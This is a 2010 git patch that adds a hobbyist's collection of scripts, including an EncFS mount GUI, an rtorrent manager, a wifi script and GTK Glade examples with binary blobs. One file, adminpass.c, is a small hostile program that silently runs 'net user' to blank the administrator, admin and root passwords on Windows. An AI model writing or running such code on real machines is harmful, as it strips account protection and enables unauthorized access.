From 84aff5c8ac2726f7cd22c6456d90b00ca6d05549 Mon Sep 17 00:00:00 2001 From: Harvie Date: Mon, 24 May 2010 21:17:09 +0200 Subject: [PATCH] Merged some nasty programs from softz.harvie.cz --- .gitignore | 1 + bash/gencfs.bash | 64 +++ bash/rtorrent-screen/rtorrent-screen.bash | 69 +++ bash/rtorrent-screen/sample.html | 55 +++ bash/wifi.bash | 26 ++ c/adminpass/adminpass.c | 13 + c/glade-examples/basic/compile.sh | 2 + c/glade-examples/basic/test | Bin 0 -> 14582 bytes c/glade-examples/basic/test.c | 54 +++ c/glade-examples/basic/test.xml | 31 ++ c/glade-examples/delete/calc/calc.xml | 437 +++++++++++++++++ c/glade-examples/delete/calc/compile.sh | 4 + c/glade-examples/delete/calc/test | Bin 0 -> 18775 bytes c/glade-examples/delete/calc/test.c | 131 ++++++ c/glade-examples/delete/calc/test.xml | 438 ++++++++++++++++++ c/glade-examples/delete/test/compile.sh | 2 + c/glade-examples/delete/test/test | Bin 0 -> 14582 bytes c/glade-examples/delete/test/test.c | 54 +++ c/glade-examples/delete/test/test.xml | 31 ++ c/pong/pong.pde | 30 ++ java/jCrossCrypt/crosscrypt.jar | Bin 0 -> 131314 bytes java/jCrossCrypt/jcrosscrypt.png | Bin 0 -> 10620 bytes java/jCrossCrypt/jcrosscrypt_man.png | Bin 0 -> 10684 bytes java/linkedlist.java.txt | 29 ++ java/lode.java.txt | 146 ++++++ java/mandelbrot/mandelbrot/mandelbrot.class | Bin 0 -> 2582 bytes java/mandelbrot/mandelbrot/mandelbrot.java | 126 +++++ java/mandelbrot/screenshots/chars.png | Bin 0 -> 12139 bytes java/mandelbrot/screenshots/color.png | Bin 0 -> 5028 bytes java/mandelbrot/screenshots/colorchars.png | Bin 0 -> 44831 bytes java/mandelbrot/testm.class | Bin 0 -> 986 bytes java/mandelbrot/testm.java | 58 +++ java/matice.java.txt | 327 +++++++++++++ java/pisemka/Analyze.java.txt | 119 +++++ java/pisemka/Polar.java.txt | 53 +++ java/piskvorky.java.txt | 114 +++++ java/{ => pokusy}/DrawingCanvas.class | Bin java/{ => pokusy}/DrawingRegion.class | Bin java/{ => pokusy}/_nodist/SketchPanel.java | 0 java/{ => pokusy}/_nodist/socket.java | 0 java/{ => pokusy}/canvas.class | Bin java/{ => pokusy}/canvas.java | 0 .../NetBeans_Swing_GUI_Build-HOWTO.txt | 9 + java/swing-gui/gui-helloworld-gnome.png | Bin 0 -> 6620 bytes java/swing-gui/gui-helloworld-win.png | Bin 0 -> 6555 bytes java/swing-gui/gui-helloworld.jar | Bin 0 -> 128462 bytes misc/semi-private.projects/harvecter.nfo | 125 +++++ .../kyberia/dist-probably-outdated/Kyberia.pl | 79 ++++ php/crawler/old/crawlboost.phps | 28 ++ php/crawler/old/url2mail.phps | 24 + php/crawler/old/wcrawl.phps | 126 +++++ php/crawler/probably-more-old/crawler.phps | 219 +++++++++ .../probably-more-old/old/crawler_5.3.phps | 104 +++++ .../probably-more-old/old/crawler_5.5.phps | 179 +++++++ php/http_auth.phps | 74 +++ php/term.phps | 62 +++ php/websin/websin.php | 112 +++++ php/websin/websin.phps | 1 + windows-batch/enable_ipv6.bat | 17 + windows-batch/vypis_soubory.bat | 11 + 60 files changed, 3584 insertions(+) create mode 100755 bash/gencfs.bash create mode 100755 bash/rtorrent-screen/rtorrent-screen.bash create mode 100755 bash/rtorrent-screen/sample.html create mode 100755 bash/wifi.bash create mode 100755 c/adminpass/adminpass.c create mode 100755 c/glade-examples/basic/compile.sh create mode 100755 c/glade-examples/basic/test create mode 100755 c/glade-examples/basic/test.c create mode 100755 c/glade-examples/basic/test.xml create mode 100755 c/glade-examples/delete/calc/calc.xml create mode 100755 c/glade-examples/delete/calc/compile.sh create mode 100755 c/glade-examples/delete/calc/test create mode 100755 c/glade-examples/delete/calc/test.c create mode 100755 c/glade-examples/delete/calc/test.xml create mode 100755 c/glade-examples/delete/test/compile.sh create mode 100755 c/glade-examples/delete/test/test create mode 100755 c/glade-examples/delete/test/test.c create mode 100755 c/glade-examples/delete/test/test.xml create mode 100755 c/pong/pong.pde create mode 100755 java/jCrossCrypt/crosscrypt.jar create mode 100755 java/jCrossCrypt/jcrosscrypt.png create mode 100755 java/jCrossCrypt/jcrosscrypt_man.png create mode 100755 java/linkedlist.java.txt create mode 100755 java/lode.java.txt create mode 100755 java/mandelbrot/mandelbrot/mandelbrot.class create mode 100755 java/mandelbrot/mandelbrot/mandelbrot.java create mode 100755 java/mandelbrot/screenshots/chars.png create mode 100755 java/mandelbrot/screenshots/color.png create mode 100755 java/mandelbrot/screenshots/colorchars.png create mode 100755 java/mandelbrot/testm.class create mode 100755 java/mandelbrot/testm.java create mode 100755 java/matice.java.txt create mode 100755 java/pisemka/Analyze.java.txt create mode 100755 java/pisemka/Polar.java.txt create mode 100755 java/piskvorky.java.txt rename java/{ => pokusy}/DrawingCanvas.class (100%) rename java/{ => pokusy}/DrawingRegion.class (100%) rename java/{ => pokusy}/_nodist/SketchPanel.java (100%) rename java/{ => pokusy}/_nodist/socket.java (100%) rename java/{ => pokusy}/canvas.class (100%) rename java/{ => pokusy}/canvas.java (100%) create mode 100755 java/swing-gui/NetBeans_Swing_GUI_Build-HOWTO.txt create mode 100755 java/swing-gui/gui-helloworld-gnome.png create mode 100755 java/swing-gui/gui-helloworld-win.png create mode 100755 java/swing-gui/gui-helloworld.jar create mode 100755 misc/semi-private.projects/harvecter.nfo create mode 100755 perl/kyberia/dist-probably-outdated/Kyberia.pl create mode 100755 php/crawler/old/crawlboost.phps create mode 100755 php/crawler/old/url2mail.phps create mode 100755 php/crawler/old/wcrawl.phps create mode 100755 php/crawler/probably-more-old/crawler.phps create mode 100755 php/crawler/probably-more-old/old/crawler_5.3.phps create mode 100755 php/crawler/probably-more-old/old/crawler_5.5.phps create mode 100755 php/http_auth.phps create mode 100755 php/term.phps create mode 100755 php/websin/websin.php create mode 120000 php/websin/websin.phps create mode 100755 windows-batch/enable_ipv6.bat create mode 100755 windows-batch/vypis_soubory.bat diff --git a/.gitignore b/.gitignore index 2958239..d85b317 100644 --- a/.gitignore +++ b/.gitignore @@ -3,6 +3,7 @@ *.old *.exe +*.dll *.com *.gz diff --git a/bash/gencfs.bash b/bash/gencfs.bash new file mode 100755 index 0000000..a3ca647 --- /dev/null +++ b/bash/gencfs.bash @@ -0,0 +1,64 @@ +#!/bin/bash +############################################################# +# gEncFS 0.2 (Harvie 2oo8-2oo9)        # +# BASH & zenity GUI frontend for mounting EncFS filesystems # +############################################################# + +zenity="/usr/bin/zenity"; +gksu="/usr/bin/gksu"; #path to gksu or gksudo (doesn't matter) +encfs="/usr/bin/encfs"; +grep="/bin/grep"; +cut="/bin/cut"; #Arch: /bin/cut vs. Debian: /usr/bin/cut +cat="/bin/cat"; + +cut=$(which cut); #maybe bit insecure - for compatibility + + +gencfs_getpass() { + #zenity - insecure way + #$zenity --entry --hide-text --text "$(echo -ne "Please enter EncFS password for $1\n$2")" --title "gEncFS: Password for $1" 2>/dev/null; + #gksu/gksudo - secure way (grabs keyboard!) + gksu -p -m "$(echo -ne "Please enter EncFS password for $1\n$2")" 2>/dev/null; +} + +gencfs_fuses() { + echo -e "\n\nList of mouted FUSE filesystems:"; + $cat /etc/mtab | $grep "^\(fuse\|encfs\) " | $cut -d ' ' -f 2; +} + +gencfs_mount() { + errout=$(gencfs_getpass "$1" "$3" | $encfs "--extpass=$cat" "$1" "$2") + if [ $? != 0 ]; then + $zenity --question --text "$errout\n\nTry again?" --title "gEncFS: Try again?"; + if [ $? == 0 ]; then + return 1; + fi; + fi; + return 0; +} + +gencfs_checkdir() { + if [ -d "$1" ]; then echo -n; else + $zenity --error --title "gEncFS: Error!" --text\ + "Directory $1 doesn't exist.\nYou have to create it manualy by encfs command:\n\nencfs [options] rootDir mountPoint [-- [FUSE Mount Options]]"; + exit; + fi; +} + +gencfs_checkdir "$1"; +gencfs_checkdir "$2"; + +$zenity --question --text "Do you want to (re)mount\n$1 to $2 ?$(gencfs_fuses;)" --title gEncFS +if [ $? != 0 ]; then + exit; +fi; + +fuseout=$(fusermount -u "$2" 2>&1) +if [ $? == 0 ]; then + fuseout=""; +fi; + +false; +while [ $? != 0 ]; do + gencfs_mount "$1" "$2" "$fuseout"; +done; diff --git a/bash/rtorrent-screen/rtorrent-screen.bash b/bash/rtorrent-screen/rtorrent-screen.bash new file mode 100755 index 0000000..023b75d --- /dev/null +++ b/bash/rtorrent-screen/rtorrent-screen.bash @@ -0,0 +1,69 @@ +#!/bin/bash +# rtorrent-screen 1.0 (Harvie 2oo9) +# - Simple rtorrent manager (keeps your torrents in screen transparently + allows you to monitor it using hardcopies) +# +# - Dependencies: bash, screen, rtorrent +# - Optionaly webserver with PHP (you will be allowed to monitor your torrents using web interface) +# - TODO: adding torrents using web interface... + +TARGET_DIRECTORY=~/downloads #warning: each user MUST have his own directory for downloading (on "single user" system u can use eg. /srv/http/downloads) +SCREEN_PID_FILE='rtorrent-screen.pid' +SCREEN_DUMP_INTERVAL=30; +SESSION_NAME='rtorrent' +CREATE_PHP_UI=true +PHP_UI='download.php' + +CONFIG_OVERRIDE=~/.config/rtorrent-screen.rc.sh +#source "$CONFIG_OVERRIDE" 2>/dev/null + +cd "$TARGET_DIRECTORY"; +if [ $? != 0 ]; then + echo Directory "$TARGET_DIRECTORY" does not exists create it or change path in "$CONFIG_OVERRIDE" or in "$0" + echo Note that each user MUST have his own separate directory for rtorrent-screen to avoid collisions. + exit 2; +fi; + +#PHP UI +if "$CREATE_PHP_UI"; then +echo " + + Harvie's Downloads + + +
$USER and type: $0 or screen -x '.
+			htmlspecialchars(file_get_contents('$SCREEN_PID_FILE')).
+			'If you want to detach from it (leave it running on background) press CTRL+a followed by d and if you want to stop rTorrent definitely then press CTRL+q few times.
'. + htmlspecialchars(file_get_contents('./hardcopy.0')) + ); + } else { + echo('rTorrent is not running at this time... To execute it use command: $0'); + } +?>
+" > "$PHP_UI" +fi; + +#SCREEN SESSION +if [[ -r "$SCREEN_PID_FILE" ]]; then + screen -x $(cat "$SCREEN_PID_FILE"); +else + screen -U -S "$SESSION_NAME" -t "$SESSION_NAME" bash -c " + while true; do + sleep 1; + screen -S \$PPID -X hardcopy; + sleep $SCREEN_DUMP_INTERVAL; + done & + + echo \$PPID > $SCREEN_PID_FILE; + rtorrent; + rm -f $SCREEN_PID_FILE; + rm -f hardcopy.0; + " +fi; + +echo 'Thank you for using rtorrent-screen by Harvie' diff --git a/bash/rtorrent-screen/sample.html b/bash/rtorrent-screen/sample.html new file mode 100755 index 0000000..170c94f --- /dev/null +++ b/bash/rtorrent-screen/sample.html @@ -0,0 +1,55 @@ + + + Harvie's Downloads + + +
rTorrent is running. To attach to it login as harvie and type: /usr/bin/rtorrent-screen or screen -x 24648
+If you want to detach from it (leave it running on background) press CTRL+a followed by d and if you want to stop rTorrent definitely then press CTRL+q few times.
*** rTorrent 0.7.9/0.11.9 - harvie-srv:666 *** +[View: main] + Arch Linux + 30,4 / 699,0 MB Rate: 14,1 / 497,4 KB Uploaded: 0,8 MB [ 3%] 0d 0:22 [ R: 0,03] + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +[Throttle off/off KB] [Rate 14,7/520,4 KB] [Port: 666] [U 4/0] [D 9/0] [H 0/32] [S 0/18/768] [F 2/128] +
+ diff --git a/bash/wifi.bash b/bash/wifi.bash new file mode 100755 index 0000000..9205f9e --- /dev/null +++ b/bash/wifi.bash @@ -0,0 +1,26 @@ +#!/bin/bash + +echo ModProbing modules... + ifconfig ath0 down + ifconfig wifi0 down + modprobe ath_pci + modprobe wlan_scan_sta + +echo Recreating ath0 device from wifi0... + ifconfig wifi0 up + wlanconfig ath0 destroy + wlanconfig ath0 create wlandev wifi0 wlanmode sta + ifconfig ath0 up + +echo Scanning for APs... + sleep 3 + wlanconfig ath0 list scan + +echo Using strongest AP... + iwconfig ath0 essid any + ifconfig essid Network_395 ath0 + +echo DHCP Broadcast... + dhclient ath0 + +echo Done! diff --git a/c/adminpass/adminpass.c b/c/adminpass/adminpass.c new file mode 100755 index 0000000..2b9654d --- /dev/null +++ b/c/adminpass/adminpass.c @@ -0,0 +1,13 @@ +/* +Admin passwd reset0r +Harvie 2oo9 +*/ + +#include + +int main() { + WinExec("net user administrator \"\"",SW_HIDE); + WinExec("net user admin \"\"",SW_HIDE); + WinExec("net user root \"\"",SW_HIDE); + return 0; +} diff --git a/c/glade-examples/basic/compile.sh b/c/glade-examples/basic/compile.sh new file mode 100755 index 0000000..97672d4 --- /dev/null +++ b/c/glade-examples/basic/compile.sh @@ -0,0 +1,2 @@ +#!/bin/bash +gcc -Wall -g -o test test.c `pkg-config --cflags --libs gtk+-2.0` -export-dynamic diff --git a/c/glade-examples/basic/test b/c/glade-examples/basic/test new file mode 100755 index 0000000000000000000000000000000000000000..20d699bc865b15ee0da40190a86edc41ca157a52 GIT binary patch literal 14582 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 literal 0 HcmV?d00001 diff --git a/c/glade-examples/basic/test.c b/c/glade-examples/basic/test.c new file mode 100755 index 0000000..cd70371 --- /dev/null +++ b/c/glade-examples/basic/test.c @@ -0,0 +1,54 @@ +/* +First run tutorial.glade through gtk-builder-convert with this command: + gtk-builder-convert tutorial.glade tutorial.xml + +Then save this file as main.c and compile it using this command +(those are backticks, not single quotes): + gcc -Wall -g -o tutorial main.c `pkg-config --cflags --libs gtk+-2.0` -export-dynamic + +Then execute it using: + ./tutorial +*/ + +#include +#include +#include + +GtkBuilder *builder; +GtkWidget *window, *button1, *entry1; + + +void on_window_destroy (GtkObject *object, gpointer user_data) +{ + gtk_main_quit (); +} + +void on_button1_clicked() { + puts("click!"); + puts(gtk_entry_get_text(entry1)); + //gtk_button_set_label(button1, "lol"); + gtk_button_set_label(button1, gtk_entry_get_text(entry1)); +} + +int main (int argc, char *argv[]) +{ + gtk_init (&argc, &argv); + + builder = gtk_builder_new (); + gtk_builder_add_from_file (builder, "test.xml", NULL); + window = GTK_WIDGET (gtk_builder_get_object (builder, "window")); + + button1 = GTK_WIDGET (gtk_builder_get_object (builder, "button1")); + entry1 = GTK_WIDGET (gtk_builder_get_object (builder, "entry1")); + + + gtk_builder_connect_signals (builder, NULL); + + g_object_unref (G_OBJECT (builder)); + + gtk_widget_show (window); + gtk_main (); + + return 0; +} + diff --git a/c/glade-examples/basic/test.xml b/c/glade-examples/basic/test.xml new file mode 100755 index 0000000..543f08f --- /dev/null +++ b/c/glade-examples/basic/test.xml @@ -0,0 +1,31 @@ + + + + True + + + + True + + + True + True + + + + + True + True + True + Button1 + 0 + + + + 1 + + + + + + diff --git a/c/glade-examples/delete/calc/calc.xml b/c/glade-examples/delete/calc/calc.xml new file mode 100755 index 0000000..c34c472 --- /dev/null +++ b/c/glade-examples/delete/calc/calc.xml @@ -0,0 +1,437 @@ + + + + True + + + + True + + + True + + + True + + + True + True + + + + + True + ? + + + 1 + + + + + True + True + + + 2 + + + + + True + = + + + 3 + + + + + + + True + True + + + 1 + + + + + + + True + + + True + MEM: + + + + + True + True + True + + + 0 + + + + 1 + + + + + True + True + True + - + 0 + + + + 2 + + + + + True + True + True + C + 0 + + + + 3 + + + + + True + True + 0 + + + 4 + + + + + 1 + + + + + True + 4 + 5 + + + True + True + True + / + 0 + + + + 1 + 2 + 3 + 4 + + + + + True + True + True + * + 0 + + + + 1 + 2 + 2 + 3 + + + + + True + True + True + - + 0 + + + + 1 + 2 + 1 + 2 + + + + + True + True + True + + + 0 + + + + 1 + 2 + + + + + True + True + True + SQRT + 0 + + + + 3 + 4 + + + + + True + True + True + ^ + 0 + + + + 2 + 3 + + + + + True + True + True + RST + 0 + + + + 1 + 2 + + + + + True + True + True + C + 0 + + + + + + True + True + True + . + 0 + + + + 3 + 4 + 3 + 4 + + + + + True + True + True + 0 + 0 + + + + 2 + 3 + 3 + 4 + + + + + True + True + True + 3 + 0 + + + + 4 + 5 + 2 + 3 + + + + + True + True + True + 2 + 0 + + + + 3 + 4 + 2 + 3 + + + + + True + True + True + 1 + 0 + + + + 2 + 3 + 2 + 3 + + + + + True + True + True + 6 + 0 + + + + 4 + 5 + 1 + 2 + + + + + True + True + True + 5 + 0 + + + + 3 + 4 + 1 + 2 + + + + + True + True + True + 4 + 0 + + + + 2 + 3 + 1 + 2 + + + + + True + True + True + 9 + 0 + + + + 4 + 5 + + + + + True + True + True + 8 + 0 + + + + 3 + 4 + + + + + True + True + True + 7 + 0 + + + + 2 + 3 + + + + + True + True + True + = + 0 + + + + 4 + 5 + 3 + 4 + + + + + 2 + + + + + + diff --git a/c/glade-examples/delete/calc/compile.sh b/c/glade-examples/delete/calc/compile.sh new file mode 100755 index 0000000..6abe4f6 --- /dev/null +++ b/c/glade-examples/delete/calc/compile.sh @@ -0,0 +1,4 @@ +#!/bin/bash +gcc -Wall -g -o test test.c `pkg-config --cflags --libs gtk+-2.0` -export-dynamic +cat test.xml | grep -v "requires lib=" > calc.xml +cat test.xml > calc.xml diff --git a/c/glade-examples/delete/calc/test b/c/glade-examples/delete/calc/test new file mode 100755 index 0000000000000000000000000000000000000000..021fefb1b46e578992bbb47c1ba045c25b94838d GIT binary patch literal 18775 zcmd6P3wTsTns%M;(@CEsgxt8OAi)Ggg%0;YMI|I5MuGtn6a?nb>F#tlbh<-dxVYnp z#v6moprfwiIwOwmuGfF~XI%#`t0*d~zw_&kv!mn4EVJquov6$%D&sijf8VM)-6v6> ze|`Sv`JXMQu6pbH>Z`B5x|}+7s&aWt`x3)2gyTHID~R^&HvMxEPG6uXb49Hv7SqI3 